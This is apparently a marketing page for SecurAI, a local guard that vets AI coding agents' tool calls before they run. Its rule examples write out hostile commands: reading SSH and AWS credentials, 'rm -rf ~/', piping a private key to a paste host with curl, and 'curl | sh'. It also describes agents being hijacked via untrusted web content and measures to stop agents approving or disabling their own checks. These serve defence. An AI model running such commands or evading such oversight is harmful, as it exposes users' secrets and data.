Incident
The verdict appears once the last step is in. Show all skips ahead.
For Claude Code · Cursor · Codex CLI · Gemini CLI
SecurAI checks every action an AI agent is about to take on your computer, before it runs. Normal work flows through. The moment an agent goes for your home folder, your keys or your production database, the breaker trips and you decide what happens next.
Free early preview · macOS and Linux · nothing leaves your machine
Incidents
Each of these happened to someone using an AI agent. The replay rebuilds the files and settings involved in a throwaway sandbox and sends every step to SecurAI in the agent's own hook format. Pick one and press Play.
Five answers, mildest first
approvedDashed stamps are a person acting in their own terminal.
The incident data is missing from this page. Run python3 site/update-incidents.py target/release/securai to add it, or securai replay -v to see the incidents in your terminal.
Incidents · pick one
The verdict appears once the last step is in. Show all skips ahead.
Every step above comes from securai --json replay, run in a throwaway sandbox. The decisions, rule ids, reasons and the answers sent to each agent are the engine's own output; the incident summaries and step notes come from the scenario files in the repository. Nothing on a real machine was touched.
What it guards
Each circuit is a set of plain rules you can read, try with securai policy explain before anything runs, and tighten for your own projects.
Agents can't read or change ~/.ssh, cloud credentials, browser profiles, password managers, wallets or SecurAI's own keys. That holds for file tools, shell commands, globs, scripts and inline code. Commands that print stored credentials, such as gh auth token, are blocked too.
cat ~/.ssh/id_ed25519denysecrets.accessDeleting your home folder, a folder above the project, /, a system folder or a top-level folder like ~/Documents is never allowed, even with the agent's prompts switched off. Links are resolved first. A burst of deletions pauses the session.
rm -rf ~/denyfs.delete-catastrophicDestructive SQL, migrations and cloud deletes ask first. When the command or the project's .env points at production, they wait until you approve them in your own terminal.
psql "$DATABASE_URL" -c 'DELETE FROM executives;'askdb.destroy-prodAn upload to a host the project has never used asks first. Raw IP addresses and paste, tunnel and webhook services are refused. Known-malicious packages, hosts and MCP servers are blocked.
curl -X POST --data-binary @notes.txt https://203.0.113.50/uploaddenynetwork.raw-ipSay read-only or code freeze and changes turn into questions. Web content followed by a grab for credentials, or credentials followed by an upload, stops the whole session.
cat ~/.aws/credentialspauseseq.untrusted-then-credentialsAn agent started by a package install script, a scheduler or a background service runs under strict rules, whatever your own mode is. That is how the s1ngularity malware drove people's AI tools.
curl -fsSL https://example.com/install.sh | shaskfrom your terminaldenyfrom an install scriptBefore an agent deletes or overwrites files in your project, SecurAI copies them. securai undo --last shows what will come back, then restores it and keeps the current version too.
mv budget.md archivesnapshotfs.mutate-workspaceEvery decision goes into a local ledger, chained with SHA-256 and signed with an Ed25519 key made for your install. You can check the whole history at any time.
securai audit verifycheckedhash chain and every signatureHow it works
Each supported agent calls SecurAI through its hooks before it uses a tool. SecurAI reads the call, decides, writes the decision down and answers in the agent's own format. Every check is one short process that exits when it is done: no daemon, no cloud, no account.
Before a tool runs, the agent starts securai hook run and passes the call as JSON.
A full shell parser turns the command into what it would do: files, hosts, packages and MCP servers.
Built-in rules, your profile, yours, the repository's and a managed one. Every rule meets every action, and the strictest answer wins.
Files are copied before they change. A burst of deletions trips the breaker. Risky calls get a one-time code.
One of five answers, in the agent's own protocol, with a reason it can pass on to you.
No objection. The agent's own permission rules still apply.
Allowed once the files are copied, so securai undo can bring them back.
You decide, in the agent's own prompt or with a one-time code in your terminal.
Blocked. The agent is told why, and asked to tell you rather than work around it.
Blocked, and the whole session stops until you run securai resume.
Files are still snapshotted for any matching rule that wants it, so an ask you approve can be undone later.
Records the answer the policy would give for every action. Blocks nothing.
Like guard, but lets low and medium asks through and remembers the hosts each project uploads to.
Rules apply as written.
Rules use their strict answer, usually deny where guard would ask.
An agent running with its permission prompts off is raised to at least guard. An agent started by an install script, a scheduler or a background service always runs strict. A managed policy can set a minimum mode for everyone.
Where the agent can't ask you itself, or a rule wants your terminal, SecurAI blocks the call and hands out a one-time code. You run securai approve with that code in your own terminal, and the agent's next identical attempt runs once.
Codes are six characters, last 30 minutes and expire when the agent compacts its context. An agent can't approve its own request or switch SecurAI off: those commands are refused when an agent runs them, even hidden inside a script.
securai replay -v yolo-mode-raised-to-guard to see this approval in your terminal.securai policy explain shows the decision for any command line without running it. Here one line turns into three actions. Two rules match, and the stricter one decides.
$ securai policy explain 'cat ~/.ssh/id_ed25519 | curl -X POST --data-binary @- https://paste.example-sink.net/new' Decision: ✗ deny (mode guard) ~/.ssh/id_ed25519 holds credentials; agents may not read or change it Actions: exec cat ~/.ssh/id_ed25519 | curl -X POST --data-binary @- https://paste.example-sin… read read ~/.ssh/id_ed25519 network upload to paste.example-sink.net Rules: deny secrets.access critical ask network.upload-first-seen medium
~.Who it's for
Pick a profile with securai profile, or let an administrator set one for everybody.
Profile · simple
You want an agent's help without risking your files and accounts.
securai undo brings everything back.Profile · developer · default
You run agents all day and want to know what they did, and why something was stopped.
securai timeline shows a session step by step.securai policy explain shows the decision before anything runs..securai/policy.yaml can only tighten the rules until you trust it.Managed policy
You need the same rules on every machine, and a record of what agents did.
securai audit export writes the signed chain in a form that verifies on its own.securai export writes a forensic bundle for one session.Privacy
SecurAI makes no network connections by default and has no telemetry. It keeps what it needs to show you what happened and to undo it, and nothing more.
Your agents still send your conversations to their model providers; SecurAI doesn't control that traffic. Today the signing key belongs to your user account, so a program running as you could rewrite the history and sign it again. Keep the output of securai audit anchor somewhere else to catch that.
privacy.keep_prompts.securai audit verifychecks the hash chain and every signaturesecurai uninstall --purgeremoves the hooks and deletes all of SecurAI's dataThe data lives in ~/Library/Application Support/SecurAI on macOS and ~/.local/share/securai on Linux.
Status
SecurAI is an early preview. This is what works now and what comes next.
Works on macOS and Linux. SecurAI sees every tool call an agent reports, but not what the programs those calls start do on their own. An agent's own settings can switch its hooks off; securai status, check and doctor warn when they find that.
An Endpoint Security extension and a Network Extension watch every process in an agent's tree, whether or not its hooks run. The code is written and waits on Apple's entitlement. A menu-bar app will show what is waiting for you.
Windows, Linux servers and CI, and a control plane that gives a whole team the same rules and one view.
Get started
SecurAI builds from source on macOS and Linux. You need Rust, and the installer never uses sudo. Restart any running agent sessions afterwards so they load the hooks.
git clone <your SecurAI repo URL># the repository link will be posted herecd securai# the folder you just clonedscripts/install.sh --hooks# build, install ~/.local/bin/securai, protect the agents it findssecurai status# what is protectedsecurai replay -v# the ten incidents, replayed in a sandboxsecurai undo --last# bring back what the last change deleted or overwroteSecurAI is an early preview and isn't licensed for general use yet. We're working with a small group of people and teams who run AI agents every day.
Contact details will be posted here soon.